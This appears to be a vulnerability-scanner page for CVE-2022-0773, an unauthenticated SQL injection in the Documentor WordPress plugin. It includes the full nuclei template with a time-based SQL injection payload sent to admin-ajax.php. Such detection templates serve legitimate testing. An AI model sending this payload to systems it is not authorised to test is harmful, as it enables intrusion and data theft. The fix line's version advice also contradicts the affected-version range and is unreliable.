Documentor <= 1.5.3 - Unauthenticated SQL Injection

criticalseverity

9.8CVSS score

43.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Update to Documentor version 1.5.3 or later to mitigate this vulnerability.

How to confirm it

Send: @timeout: 20s ; GET /wp-content/plugins/documentor-lite/core/js/documentor.js
Positive when: duration_1>=6 and status_code == 200 and contains(content_type_1, "text/html") and contains(body_1, "([])") && contains(body_2, ".documentor-help")

Run it with nuclei: nuclei -id CVE-2022-0773 -u <target>

The full check

id: CVE-2022-0773

info:
  name: Documentor <= 1.5.3 - Unauthenticated SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to Documentor version 1.5.3 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/55b89de0-30ed-4f98-935e-51f069faf6fc
    - https://wordpress.org/plugins/documentor-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0773
    cwe-id: CWE-89
    epss-score: 0.43259
    epss-percentile: 0.98736
    cpe: cpe:2.3:a:documentor_project:documentor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: documentor_project
    product: documentor
    framework: wordpress
  tags: time-based-sqli,cve2022,cve,unauth,sqli,wp-plugin,wp,documentor-lite,wpscan,wordpress,documentor_project,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=doc_search_results&term=&docid=1+AND+(SELECT+6288+FROM+(SELECT(SLEEP(6)))HRaz)
      - |
        GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code == 200'
          - 'contains(content_type_1, "text/html")'
          - 'contains(body_1, "([])") && contains(body_2, ".documentor-help")'
        condition: and

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